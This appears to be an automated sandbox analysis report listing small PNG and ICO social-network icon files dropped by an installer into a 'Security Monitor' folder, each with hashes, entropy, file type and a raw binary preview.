SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-07K37.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-0B2U0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-38H15.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-4CQDQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-5LGT6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-63FTM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-66O2J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-6OG7U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7135Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7HRN7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7N95R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7ST0G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-8J0JN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-8JN9D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-9TJI2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
